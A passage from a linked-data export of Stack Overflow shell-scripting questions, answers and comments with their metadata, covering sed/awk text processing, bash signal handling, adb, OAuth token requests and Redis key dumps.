tags question: http://stackoverflow.com/q/77014844
type: Tag

http://stackoverflow.com/comment/135726011
score: 1
comment on: http://stackoverflow.com/a/76990052
has text: Thanks. I got it. There are some spaces in the XML file on/before/after every tag. Used `-E '/<Info>/{:a;N;/<\/Info>$/!ba s/(<IpAdd>).*(<\/IpAdd>\n(\s)*<port>1123<\/port>)/\1111.111.111.111\2/}'`. All the `awk` solutions are great, but I think this one-line soln using `sed` is preferable to me.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/77039334
type: Question
upvote count: 2
tagged with: shell
type: UnansweredQuestion
favorite count: 0
has title: Arithmetic operations from XML in a shell
has comment: http://stackoverflow.com/comment/135811381
has comment: http://stackoverflow.com/comment/135810685
downvote count: 1
has answer: http://stackoverflow.com/a/77039367
has comment: http://stackoverflow.com/comment/135811334
answer count: 2
score: 1
has body: Maven test report is generating following output: Requirement is to divide passed test cases/total test cases (8/22) and pass the value to a variable.
has comment: http://stackoverflow.com/comment/135810675
has comment: http://stackoverflow.com/comment/135810744
has comment: http://stackoverflow.com/comment/135810616
tagged with: awk
tagged with: sed
has answer: http://stackoverflow.com/a/77039535
tagged with: http://stackoverflow.com/tag/xml

http://stackoverflow.com/comment/135821629
has text: Please be more specific about what went wrong, and perhaps edit your original post to show examples.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77038661
score: 2

http://stackoverflow.com/q/76915647
has comment: http://stackoverflow.com/comment/135606940
tagged with: linux-kernel
tagged with: shell
answer count: 0
tagged with: linux
has comment: http://stackoverflow.com/comment/135593451
has comment: http://stackoverflow.com/comment/135593460
has comment: http://stackoverflow.com/comment/135598748
has comment: http://stackoverflow.com/comment/135595614
has body: I have a use-case where a shell script runs a child process, and should propgate any Termination Singals (SIGINT, SIGTERM, and SIGQUIT) to the child process and wait for its termination, then terminate using the same exit code as the child process. In reality the script does more than that but I simplified it down to the werid use-case I am facing. I noticed a weird behavior when using wait in a sh script. The wait $CHILD_PID will return the moment a Signal is recieved by trap handler _term, to actually wait for the child to terminate i have to do another wait $CHILD_PID. The first wait returns status code 128 + Signal (130 in-case of using CTRL+C) The second wait returns status code that is returned by the CHILD Process (12 in the example below). ./signal-propagate #!/bin/sh _term() { signal=$1 echo " caught $signal, sending it to child pid $CHILD..." kill -$signal $CHILD 2>/dev/null } # register termination signals trap "_term TERM" SIGTERM trap "_term QUIT" SIGQUIT trap "_term INT" SIGINT # Start Command in BG $@ & # Get CHILD PID CHILD=$! # Wait for it to be finished wait $CHILD status=$? echo "1 First Wait: child pid $CHILD exited with status $status" wait $CHILD status=$? echo "2 Second wait: child pid $CHILD exited with status $status" exit $status Now try run a command that take sometime to terminate gracefully. Here is an example, shamelessly using PHP work.php (only handles SIGINT for brevity ) <?php function sig_handler($signo) { echo "Signaler Handler Invoked! \n"; switch ($signo) { case SIGINT: echo "Caught SIGINT CTRL-C...\n"; echo "Shutdown Function Invoked, sleeping \n"; sleep(5); echo "Shutdown Function done \n"; exit(12); break; default: // handle all other signals } } // Enable Async Signal Handling pcntl_async_signals(true); // setup signal handlers pcntl_signal(SIGINT, "sig_handler"); echo "Doing some work... \n"; sleep(1000); ?> Now try running ./signal-propagate php work.php Output: Doing some work... ^CSignaler Handler Invoked! Caught SIGINT …
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135594638
has comment: http://stackoverflow.com/comment/135595492
favorite count: 0
has comment: http://stackoverflow.com/comment/135593263
has comment: http://stackoverflow.com/comment/135593334
has comment: http://stackoverflow.com/comment/135594139
has comment: http://stackoverflow.com/comment/135595527
score: 2
has comment: http://stackoverflow.com/comment/135593436
upvote count: 2
downvote count: 0
tagged with: bash
type: Question
has title: Why `wait $PID` returns immediately after SIGTERM signal is received, and not after $PID has actually terminated
has comment: http://stackoverflow.com/comment/135594887
has comment: http://stackoverflow.com/comment/135605779
has comment: http://stackoverflow.com/comment/135606554
tagged with: posix
has comment: http://stackoverflow.com/comment/135606205
has comment: http://stackoverflow.com/comment/135595742

http://stackoverflow.com/comment/135761014
type: AnswerComment
score: 0
has text: @LordOfTheRing you can redirect the entire set of `awk` output to your output file, eg, change the last line to `' <<< "${roledetails}" > "${fullfilepath}"`
comment on: http://stackoverflow.com/a/77010843
type: Comment

http://stackoverflow.com/comment/135808400
score: 0
type: Comment
type: AnswerComment
has text: @CharlesDuffy Thank you for explaining. i will proceed to edit the question
comment on: http://stackoverflow.com/a/77037993

http://stackoverflow.com/q/76896657
tagged with: shell
tagged with: linux
downvote count: 0
has comment: http://stackoverflow.com/comment/135560986
score: 1
has comment: http://stackoverflow.com/comment/135560979
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135560721
has answer: http://stackoverflow.com/a/76902217
possible better answer: http://stackoverflow.com/a/76902217
has title: Bash shell script did not pass the TRUE condition
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/76896721
has body: While the condition did not pass in the TRUE result. What's wrong with the syntax? RESULT="Exited (0) Less than a second ago" if [ "$RESULT" = "Exited (0) Less than a second ago" || "$RESULT" = "Stop" ] then echo 'exited' elif [ "$RESULT" = *"Up"* ] then echo 'stopped and exited' else echo 'Docker already removed' fi
has comment: http://stackoverflow.com/comment/135560531
accepted answer: http://stackoverflow.com/a/76896721
has comment: http://stackoverflow.com/comment/135562200
upvote count: 1
has comment: http://stackoverflow.com/comment/135561255
answer count: 2

http://stackoverflow.com/q/76958436
answer count: 3
score: 2
has body: Given a file containing a list of strings like: File1.txt ABC DEF HIJ And a file with contents like this: File2.txt 123 line ABC line HIJ line 456 line 786 line How can remove lines from the second file that do not begin with strings in first file? Also, if possible I'd like to edit the file in place rather than create a new file. So the resulting file would contain: ABC line HIJ line I was thinking of using sed to remove the lines like this. sed -n -e '/^ABC\|^DEF\|^HIJ/p' File2.txt However, File1.txt contains thousands of strings to check against. It would be better to use the separate file rather than list them all in this sed command.
accepted answer: http://stackoverflow.com/a/76958565
has title: Remove lines from a file that do not contain a string from list
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76958565
tagged with: sed
has comment: http://stackoverflow.com/comment/135668961
upvote count: 2
possible better answer: http://stackoverflow.com/a/76959195
downvote count: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76959066
has answer: http://stackoverflow.com/a/76959195

http://stackoverflow.com/q/76962672
has answer: http://stackoverflow.com/a/76964196
type: Question
has comment: http://stackoverflow.com/comment/135674902
tagged with: excel
has comment: http://stackoverflow.com/comment/135677201
tagged with: shell
accepted answer: http://stackoverflow.com/a/76964196
has title: Cannot run VBA Shell script after running msoFileDialogFolderPicker, works otherwise
has comment: http://stackoverflow.com/comment/135674797
has body: I am facing a peculiar issue. I have a Folder Picker program which goes as follows: Sub Select_Folder() Dim SelectedFolder As String ' Open the select folder prompt With Application.FileDialog(msoFileDialogFolderPicker) If .Show = -1 Then ' if OK is pressed SelectedFolder = .SelectedItems(1) Else Exit Sub ' User canceled End If End With Worksheets("RawData").Cells(15, 34) = SelectedFolder End Sub I have a separate procedure to run Shell commands. Note that the two procedures do not share any variable names nor does the Shell function have any references to the output to the Folder Picker sub-procedure. If I run the Shell script without running the Folder picker function, everything runs fine, the script is run from Command Prompt. If I run the Folder Picker function first, select a folder, and then try running the Shell function, it ends abruptly. It is only in the specific case of running the Folder Picker sub-procedure first that the Shell function doesn't work. Any suggestions what could cause this? In both cases, the script is the same and if I try running it in CMD prompt, it runs perfectly fine. Edit: When I say the prompt ends abruptly, I mean that the cmd window opens and closes within a second The script runs separately when called. This script runs command prompt to get information from an IBM server (The command is "cmd.exe /S /C " & "cd " & IBMInstallationPath & " && scm show history -r " & "https://jazz-test4.conti.de/ccm4/" & " -u " & UserName & " -P " & Password & " -C " & Component & " -w " & StreamName & " --remotePath " & Chr(34) & Folder & Chr(34)) IBMPath = "C:\LegacyApp\IBM\EWM_Shell\3rd Party\scmtools\eclipse" As Tim Williams suggested, the CurDir was getting changed when I run the folder picker script to D drive. I have included a couple of more lines before running my Shell script(ChDrive and CurDrive) to change the current directory to C drive. It works fine now. I am still not sure why though. Maybe because my IBM installation path is in C …
has comment: http://stackoverflow.com/comment/135675475
score: 0
tagged with: command-line-interface
answer count: 1
type: AnsweredQuestion
tagged with: vba

http://stackoverflow.com/comment/135598748
comment on: http://stackoverflow.com/q/76915647
type: Comment
has text: @SherifAbdel-Naby "How do you explain the same behavior happening when you use kill -s that doesn't propagate signal" - the received sigint interrupts shell (in the example its current command 'wait'), then sigint is sent to php child process from trap function. The only difference is that in the first case there's two sigints to php (one with process group and one from trap function)
type: QuestionComment
score: 0

http://stackoverflow.com/a/76946744
has body: I did the following, though I honestly think someone will have a better way. // Store the child modules with "branchToBuild" in a file called // "dirs.txt" sshagent(credentials: ['bitbucket-creds']) { sh(label: "Build", script: """ if [ -f dirs.txt ]; then rm -f dirs.txt; fi git submodule foreach 'git checkout $branchToBuild && git pull origin $branchToBuild && echo \$name >> ../dirs.txt || :' """, returnStatus: true) } // Now read the "dirs.txt" file into a list final List<String> modules = (readFile(file: "./dirs.txt")).split("\n") modules.each { module -> // Do something }
type: Answer
answers question: http://stackoverflow.com/q/76922371
score: 0

http://stackoverflow.com/a/76952634
type: Answer
has body: Here's an other awk idea: awk -F'=' -v OFS='=' ' NR == FNR { a[&quot;@&quot; $1 &quot;@&quot;] = &quot;@&quot; $2 &quot;@&quot;; next } NF == 2 &amp;&amp; $2 ~ /^@[^@]*@$/ { $2 = a[$2] } 1 ' testfile2.txt testfile1.txt ## START :: start of file ## path.mw.site.profiles=@/mw/mysite/cfg/DATA1/@ # path.mw.site.broker.profiles=@/usr/local/mw/mysite/cfg/DATA2/@ # path.mw.site.profiles=@/mw/mysite/cfg/DATA1/@ # path.mw.site.broker.profiles=@/usr/local/mw/mysite/cfg/DATA2/@ ## END :: end of file #
upvote count: 3
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/76952315

http://stackoverflow.com/comment/135730546
score: 0
comment on: http://stackoverflow.com/q/76993753
type: QuestionComment
type: Comment
has text: If you solve a problem yourself, use the "Add an Answer" button to add the answer _as an answer_ so it can be voted on / commented on / edited / moderated separate from the question itself. [Answers should **never** be edited into questions](https://meta.stackoverflow.com/questions/404545) -- doing so privileges the OP's self-answer above all others; the only approved way for the author of a question to choose one answer to privilege is with the "accepted answer" checkbox.

http://stackoverflow.com/comment/135588631
comment on: http://stackoverflow.com/q/76886145
type: QuestionComment
type: Comment
has text: in this case, having it inside of `terraform_data` is that other resources can depend on this, so they wait until this script has finished running to be applied, or not be applied if it crashes
score: 0

http://stackoverflow.com/comment/135796514
has text: You need to swap the order of the last two lines. As it is, you haven't set the trap before the error occurs.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77031226
type: Comment

http://stackoverflow.com/comment/135641505
has text: yes.it's solve header problem but I can't get result of summary.
comment on: http://stackoverflow.com/q/76943562
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/a/76943797
has body: Initially awk doesn't know if $2 is a number or a string. After that you only have one counter c, this will lead to having only one count at the end of your script. To avoid that you can use an array using the FILENAME as index to count every value of each file. script.awk : !(FILENAME in a){a[FILENAME]=0} $2+0>60{a[FILENAME]++} END{ print "file", "count" for(key in a) print key, a[key] } The line !(FILENAME in a){a[FILENAME]=0} is useful if you have a file that never match your condition, as otherwise these would not show up in the summary If you need a total you can add a counter in the first part of the script or in the for loop at the end. In these examples below c will equal. !(FILENAME in a){a[FILENAME]=0} $2+0>60{a[FILENAME]++} END{ print "file", "count" for(key in a){ print key, a[key] c+=a[key] } print "total", c } or !(FILENAME in a){a[FILENAME]=0} $2+0>60{a[FILENAME]++; c++} END{ print "file", "count" for(key in a) print key, a[key] print "total", c } You can use these as script : awk -f script.awk sample1.txt sample2.txt sample3.txt
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76943562
type: Answer
type: AcceptedAnswer
score: 2
answers question: http://stackoverflow.com/q/76943562
upvote count: 2

http://stackoverflow.com/q/77014844
tagged with: logcat
score: 0
tagged with: android-studio
has body: On android studio you can filter OkHttp calls. Is there a command that allows you to do this from the shell? adb logcat ... Can you give me a hand?
tagged with: shell
answer count: 0
has comment: http://stackoverflow.com/comment/135771714
type: UnansweredQuestion
has title: Adb logcat display only OkHttp calls
has comment: http://stackoverflow.com/comment/135768672
linked to: http://stackoverflow.com/q/6173985
type: Question
tagged with: adb

http://stackoverflow.com/q/77009944
favorite count: 0
has answer: http://stackoverflow.com/a/77025269
upvote count: 1
tagged with: oauth
tagged with: keycloak
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77010727
has body: I'm writing a spring boot shell application which should access a rest API which is protected by keycloak. In a web application is everything fine. The browser redirects me to keycloak and keycloak back to my application and voilà I'm authenticated. But in Cli/Shell application without browser it seems to be impossible. All I want is to get an access token to attach it to each rest request. Like this: POST {{realmUri}}/protocol/openid-connect/token Content-Type: application/x-www-form-urlencoded Accept: application/json grant_type=password &username={{username}} &password={{userPassword}} &client_id={{clientId}} &client_secret={{clientSecret}} &scope=openid+phone That returns the access token. How can I achieve this via spring security oauth. The "Resource Owner Password Flow" should be the right thing but it is not inplemented. But I think it must be possible. Maybe OAuth2LoginAuthenticationProvider could do the job.
has answer: http://stackoverflow.com/a/77019497
tagged with: spring
answer count: 3
accepted answer: http://stackoverflow.com/a/77025269
tagged with: spring-boot
possible better answer: http://stackoverflow.com/a/77010727
has title: How to make a oauth2 authentication within a spring boot shell application
linked to: http://stackoverflow.com/q/74957451
type: Question
tagged with: shell
downvote count: 0
score: 1

http://stackoverflow.com/q/76951169
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135657191
tagged with: variables
has comment: http://stackoverflow.com/comment/135664533
tagged with: input
type: Question
tagged with: shell
has title: ADB Shell input variable
downvote count: 1
tagged with: adb
type: UnansweredQuestion
tagged with: python
has body: I want to inout a variable with ADB shell. However, i can't seem to find the right format for it to work. I tried a couple things but none of that quite worked. aggr = open(r"xxx.txt", 'r') content = aggr.readlines(1) device.shell('input text "[content]"')
score: -1
upvote count: 0
has answer: http://stackoverflow.com/a/77682756

http://stackoverflow.com/comment/135594887
comment on: http://stackoverflow.com/q/76915647
has text: I thought there might have been different timing effects. Anyway, I think the reason is that the underlying `waitpid()` system call also returns when the process's state changes due to receiving a signal.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/77041015
has title: bash shell string compare
duplicate of: http://stackoverflow.com/q/10067266
has body: I would like to store 'M' status files in bash variable. For checking the status, I trimmed and split each line of 'svn status'. But if statement does not work correctly. I mean, I have several 'M' status files. But no files echo "Modified" in below script. Could you comments what's wrong this script? svn_copy2() { IFS='' svn_files=() while read line do svn_files+=(${line}) done < <(svn st) dump_files=$() for f in ${svn_files[@]}; do sign=$(echo ${f} | xargs | cut -d " " -f 1) echo ${sign} > result if $sign == "M" ; then echo "Modified" fi done }
has comment: http://stackoverflow.com/comment/135813955
score: 0
tagged with: shell
answer count: 0
has comment: http://stackoverflow.com/comment/135815643
tagged with: linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135813693
has comment: http://stackoverflow.com/comment/135813976
linked to: http://stackoverflow.com/q/10067266
has comment: http://stackoverflow.com/comment/135813969
tagged with: bash
type: Question

http://stackoverflow.com/comment/135557303
has text: BTW, `su -c "cp $scriptname ..."` has serious security problems. In general you should **never** substitute variables into a position where their values will be parsed as code instead of data. It's far safer, f/e, to run `sudo cp "$scriptname" ...` -- or with bash 5.0+, if you know the shell started by su will also be bash, you can use `su -c "cp ${scriptname@Q} ..."`; `${var@Q}` escapes the contents of `$var` to be `eval`-safe.
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76893700

http://stackoverflow.com/a/77046245
answers question: http://stackoverflow.com/q/77046244
has comment: http://stackoverflow.com/comment/135824085
score: 3
type: AcceptedAnswer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/77046244
has comment: http://stackoverflow.com/comment/135824919
has body: after some more spelunking in the locale command i have discovered the following method for getting the currency symbol of the current locale: locale currency_symbol this command and keyword returns the appropriate currency symbol of the current locale $ LANG=it_IT.UTF-8 locale currency_symbol € $ LANG=en_US.UTF-8 locale currency_symbol $ of course any other solutions and options, including ones that avoid the execution of an external command (i.e. locale) and a sub-process, are always appreciated :)
downvote count: 0
has comment: http://stackoverflow.com/comment/135824967
type: Answer

http://stackoverflow.com/comment/135663303
has text: Ty, Fravadona! This does the trick and solves my problem.
comment on: http://stackoverflow.com/q/76937822
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135597449
has text: Why don't you think `shell-quote/parse` does what you need?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76917878
score: 0

http://stackoverflow.com/a/76892746
accepted answer of: http://stackoverflow.com/q/76892668
type: AcceptedAnswer
score: 0
type: Answer
has body: I've fixed it myself, for other people here's my solution, which works pretty well. #!/bin/bash desired_env="gnuradio" # Check if the desired environment exists in the list of environments if conda env list | grep -q "\b$desired_env\b"; then # Check if the desired environment is active using conda info --envs if conda info --envs | grep -q "^\s*$desired_env\b"; then echo "Error: The '$desired_env' environment should be active." echo "Please activate the '$desired_env' environment using:" echo "conda activate $desired_env" read -p "Do you want to activate environment $desired_env? ([Y]/n): " choice if | -z "$choice" ; then # Either you change it manually or use 'source' instead of 'bash' *.sh source /home/X/miniconda3/etc/profile.d/conda.sh conda activate $desired_env else exit 1 fi else echo "The '$desired_env' environment is currently active." fi else read -p "The '$desired_env' environment does not exist. Do you want to create it? ([Y]/n): " choice if [[ ${choice:-y} == y ]]; then conda create -n $desired_env echo "The '$desired_env' environment has been created. Please activate it using:" echo "conda activate $desired_env" else exit 1 fi fi
has comment: http://stackoverflow.com/comment/135589908
answers question: http://stackoverflow.com/q/76892668
has comment: http://stackoverflow.com/comment/135627197

http://stackoverflow.com/a/76959311
downvote count: 0
has body: RUN ./setup.sh is the correct way to run a shell script in the current WORKDIR. You can only use RUN setup.sh if the script is on the path. ls -al will confirm if the file has r-x permissions for the appropriate users. otherwise you will need to RUN chmod +x setup.sh to ensure it can be executed. As you are using bash:latest is it unlikely that the script references a shell that is not present, but if the first line of the .sh file references a shell that's not present, it will return an error. i.e. If its #!/bin/ash then ensure that ash is actually present. Again, as you are downloading and unzipping in the container, this is unlikely, but if the zip file has been processed on a windows computer, there may be CRLF line endings in the .sh file. As Linux only recognises LF this means it processes #!/bin/bash&lt;CR&gt;&lt;LF&gt; as an instruction to execute the shell /bin/bash&lt;CR&gt; which does not exist. Download the file and check it in an editor (VSCode) that can tell you the ending style.
answers question: http://stackoverflow.com/q/76959096
type: Answer
has comment: http://stackoverflow.com/comment/135668984
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135669085

http://stackoverflow.com/comment/135603525
type: Comment
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/254944/discussion-between-kaz-and-lyrically-wicked).
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76908265

http://stackoverflow.com/comment/135607751
type: Comment
has text: If you have `rs` available (or can get your sysadmin to install it), then that's the tool for this job. Which then means it's not a programming problem.
type: QuestionComment
comment on: http://stackoverflow.com/q/76924061
score: 0

http://stackoverflow.com/q/76974809
has answer: http://stackoverflow.com/a/76975128
has title: Delete a specific block in yaml file using shell script
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has body: Need to delete booking block from below yml file testing: working: - aaa: daa - bbb: rrr booking: empty_book: test_list: - ccc: tt - ddd: ttt maintaining: - eee: dhhaa - fff: ffdaa tried with sed and and awk command to delete booking block but not got expected result as below. looking for below output testing: working: - aaa: daa - bbb: rrr maintaining: - eee: dhhaa - fff: ffdaa
tagged with: linux
tagged with: yaml
answer count: 1
has comment: http://stackoverflow.com/comment/135696702

http://stackoverflow.com/comment/135835850
has text: In [How to Answer](https://stackoverflow.com/help/how-to-answer), note the section _Answer Well-Asked Questions_, and therein the link to https://stackoverflow.com/help/on-topic.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77052639

http://stackoverflow.com/comment/135807123
has text: What is the point in defining a trap as the last statement of a script? Once the script reaches the end, it exits anyway; you could equally well invoke there `cleanup` explicitly - it would have the same effect as your trap.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77031226
type: Comment

http://stackoverflow.com/comment/135605054
has text: Thank you Renaud. I attempted this earlier but my syntax must have been incorrect because all numbers (even double digits) were zero-padded. Copy/pasting your code has worked. Thanks for helping my learning. I'll accept the answer as soon as the site will let me.
type: Comment
comment on: http://stackoverflow.com/a/76922723
type: AnswerComment
score: 0

http://stackoverflow.com/a/76913484
accepted answer of: http://stackoverflow.com/q/76913085
type: Answer
has body: Assuming you want to change fields based on the order of lines in each file rather than by the value of the ID column as indicated by the code in your question and as stated in your comment then using any awk: $ awk 'BEGIN{FS=OFS="\t"} NR==FNR{a[NR]=$3; next} {$2=a[FNR+1]} 1' file2 file1 "ID_1" "X" "Place1" "ID_2" "Y" "Place2"
score: 4
upvote count: 4
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135597630
answers question: http://stackoverflow.com/q/76913085
downvote count: 0

http://stackoverflow.com/q/77016713
tagged with: sh
has comment: http://stackoverflow.com/comment/135772197
has comment: http://stackoverflow.com/comment/135771017
has comment: http://stackoverflow.com/comment/135770858
has comment: http://stackoverflow.com/comment/135772902
has title: Ensuring that a SIGINT does not prevent following commands from executing
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135772669
has body: I know it's possible to use cmd1;cmd2;cmd3 to execute commads sequentialy, but in the case the first command is executing and it receives a SIGINT, the other commands do not execute. For Example: sleep 100;echo "Finished execution" If I send a kill -9 to the sleep command pid, the echo is still executed. If I send a kill -INT to the sleep command pid, the second command is not executed. My question is: is there a way to make sure the second command is going to be executed, even in the case the first process is killed by SIGINT signal.
has answer: http://stackoverflow.com/a/77017150
answer count: 3
has answer: http://stackoverflow.com/a/77017969
has answer: http://stackoverflow.com/a/77017503
tagged with: bash
has comment: http://stackoverflow.com/comment/135772297

http://stackoverflow.com/comment/135707808
comment on: http://stackoverflow.com/q/76980350
type: QuestionComment
type: Comment
has text: (and to be clear, changing a filename in the middle of a _loop_ is very different from, and much easier than, changing a filename in the middle of a _pipe_; here, it's only the loop and not the pipe that matters, because you're making up your mind on the final name when an iteration of the loop starts _before_ invoking the pipeline).
score: 0

http://stackoverflow.com/a/76936615
score: 0
answers question: http://stackoverflow.com/q/76910801
has body: The reason is that the string i%2 is never identical to 0, so your test always succeeds. It appears that you wanted an arithmetic test: if ((i%2 != 0))
type: Answer

http://stackoverflow.com/a/76955957
downvote count: 0
upvote count: 1
type: Answer
has body: As noted by Fravadona, you can't use an alias in a non-interactive shell. But you can create a function. So, this solution works: pa() { php artisan &quot;$@&quot;; }
answers question: http://stackoverflow.com/q/76937822
score: 1

http://stackoverflow.com/comment/135560531
has text: Add a shebang (#!/bin/bash) as first line, copy-paste your code in [shellcheck](https://www.shellcheck.net/) and fix the syntax errors.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76896657
score: 4

http://stackoverflow.com/a/77029021
has body: You need to read from p.stdout and p.stderr, both are an instance of FsFile so you can use .readable to access the ReadableStream or use the .read method of FsFile const myCMD = `/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome`; const p = Deno.run({ cmd: [ myCMD, "--remote-debugging-port=9222", "--no-first-run", "--no-default-browser-check", "--user-data-dir=$(mktemp -d -t 'chrome-remote_data_dir')", ], stdout: "piped", stderr: "piped", stdin: "piped", }); (async() => { for await(const chunk of p.stdout.readable) { console.log(chunk, new TextDecoder().decode(chunk)) } })(); (async() => { for await(const chunk of p.stderr.readable) { console.log(chunk, new TextDecoder().decode(chunk)) } })(); await p.stdin.write(new TextEncoder().encode("Coming from stdin\n")); await p.status(); Now you'll see the output of the process.
type: AcceptedAnswer
upvote count: 2
accepted answer of: http://stackoverflow.com/q/77028902
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/77028902

http://stackoverflow.com/comment/135698625
has text: Yes, they're separate services and need to run in separate terminal windows. That's what the problem is about.
comment on: http://stackoverflow.com/a/76974912
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135732995
has text: Please edit your question to make appropriate use of the StackOverflow formatting facilities, such as code blocks etc. It's very hard to understand your question without proper formatting.
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76994952

http://stackoverflow.com/a/77010808
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77010695
downvote count: 0
score: 1
has body: Solution in TXR Collection,Role Desc,Role_Name,App_Id, Role_Template CLD:HYB_Y_BASIS_ADMIN,desc1,AuthGroup_Administrator,it!b2455,AuthGroup_Administrator CLD:HYB_Y_BASIS_ADMIN,Desc2,AuthGroup_BusinessExpert,it!b2455,AuthGroup_BusinessExpert From variable using Bash <<< redirection: $ role_details="$(cat roledeets)" $ txr rd2csv.txr <<<"$role_details" Collection,Role Desc,Role_Name,App_Id, Role_Template CLD:HYB_Y_BASIS_ADMIN,desc1,AuthGroup_Administrator,it!b2455,AuthGroup_Administrator CLD:HYB_Y_BASIS_ADMIN,Desc2,AuthGroup_BusinessExpert,it!b2455,AuthGroup_BusinessExpert Code: name: @coll @(collect) - description: @desc name: @name roleTemplateAppId: @appid roleTemplateName: @templ @(end) @(output) Collection,Role Desc,Role_Name,App_Id, Role_Template @ (repeat) @coll,@desc,@name,@appid,@templ @ (end) @(end)

http://stackoverflow.com/comment/135818739
comment on: http://stackoverflow.com/q/77042792
has text: From what I see, you are using bash `echo` on the command line and `sh` echo in your script. What happens if you replace both `echo` by `command echo -ne "Apps:apps1" | openssl ....`?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135635045
type: Comment
type: AnswerComment
has text: yes, technically, this is not inserting a newline between echos. but the question is rather unclear
comment on: http://stackoverflow.com/a/76939972
score: 1

http://stackoverflow.com/comment/135543870
score: 0
has text: I asked on python because if someone now a way on python I can create a code on python and include it inside of the shell, similar I have done to calculate distance: epic_dist=`python3 distance.py $slat $slon $epiclat $epiclon`
comment on: http://stackoverflow.com/q/76886382
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135836765
type: Comment
comment on: http://stackoverflow.com/q/77051352
type: QuestionComment
has text: You may be interested in [can-head-read-consume-more-input-lines-than-it-outputs](https://unix.stackexchange.com/questions/750523/can-head-read-consume-more-input-lines-than-it-outputs) by the way.
score: 2

http://stackoverflow.com/q/76968047
has title: grep command for counting no of occurrences of a string in a file giving lesser number
has comment: http://stackoverflow.com/comment/135683762
tagged with: search
has answer: http://stackoverflow.com/a/76969187
type: Question
tagged with: grep
linked to: http://stackoverflow.com/q/6741967
has comment: http://stackoverflow.com/comment/135685351
tagged with: shell
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/135685628
has comment: http://stackoverflow.com/comment/135685565
favorite count: 0
has comment: http://stackoverflow.com/comment/135684395
linked to: http://stackoverflow.com/q/35669280
has comment: http://stackoverflow.com/comment/135684318
tagged with: sed
type: UnansweredQuestion
score: 1
tagged with: bash
linked to: http://stackoverflow.com/q/49268581
has body: I've a 6GB XML file that has only one line (verified with wc -l file.xml) This is the command I'm using : grep -o '&lt;wd:Report_Entry&gt;' file.xml | wc -l and it's outputting 446441. This is supposed to be the right command as mentioned at https://stackoverflow.com/a/14510665/5524175. The correct count is 1521620. Surprisingly, this rust solution gives the right count. count_occurences '&lt;wd:Report_Entry&gt;' file.xml gives 1521620. Also, the following command mentioned in this accepted answer also gives 446441. sed 's/&lt;wd:Report_Entry&gt;/&lt;wd:Report_Entry&gt;\n/g' file.xml | grep -c &quot;&lt;wd:Report_Entry&gt;&quot; I'm not sure what I'm missing. Escape characters like &lt; or &gt; or :? I'm on macOS. This is my grep version. ➜ ~ grep --version grep (BSD grep, GNU compatible) 2.6.0-FreeBSD
answer count: 1
has comment: http://stackoverflow.com/comment/135684414
duplicate of: http://stackoverflow.com/q/35669280

http://stackoverflow.com/comment/135595545
type: Comment
type: AnswerComment
score: 1
has text: @F.Zer is right. Removing `| @sh` is enough, assuming there are no special characters (like newlines) in the paths.
comment on: http://stackoverflow.com/a/76916586

http://stackoverflow.com/q/76887171
has comment: http://stackoverflow.com/comment/135551267
type: Question
tagged with: redis-cli
tagged with: shell
answer count: 0
type: UnansweredQuestion
has body: My goal is to loop over a list of keys and generate a DUMP for each key I am using redis-cli installed via npm which is why I call it as rdcli # For reading comprehension: export RED="rdcli -h $redis_endpoint -p $redis_port -a $redis_pass" # This returns a list of my redis keys $RED KEYS "*" # The returned lines are numbered so I strip them off like so $RED KEYS "*" | cut -d' ' -f2- # This generates a file of serialized data which I can later pass to my new redis instance $RED DUMP $key >> redis.dmp This works fine when $key is a single key. However, if I attempt to loop over the list of redis keys for key in $($RED KEYS "*" | cut -d' ' -f2-); do $RED DUMP $key; done or $RED KEYS "*" | cut -d' ' -f2- | xargs -I key $RED DUMP key or # runfile.file contains fully expanded, hardcoded commands # Ex: # rdcli -h xxx -p yyy -a zzz DUMP :1:aaa # rdcli -h xxx -p yyy -a zzz DUMP :1:bbb # rdcli -h xxx -p yyy -a zzz DUMP :1:ccc chmod +x runfile.file ./runfile.file # this may be a separate issue but the symptoms are the same Output: (nil) (nil) (nil) (nil) ... My only hint is that enabling debug mode with set -x reveals that $RED DUMP $key # where $key is set during runtime is being evaluated as rdcli -h xxx -p yyy -a zzz DUMP ':1:aaa' # and subsequently spitting out (nil) If I copy and paste rdcli -h xxx -p yyy -a zzz DUMP ':1:aaa' back into the shell it correctly returns serialized code but I am unable to do this programatically. Additional info: I have thousands of keys so I cannot do this by hand I am pulling the keys from a heroku redis instance and have no way to download a backup or save I am migrating to an 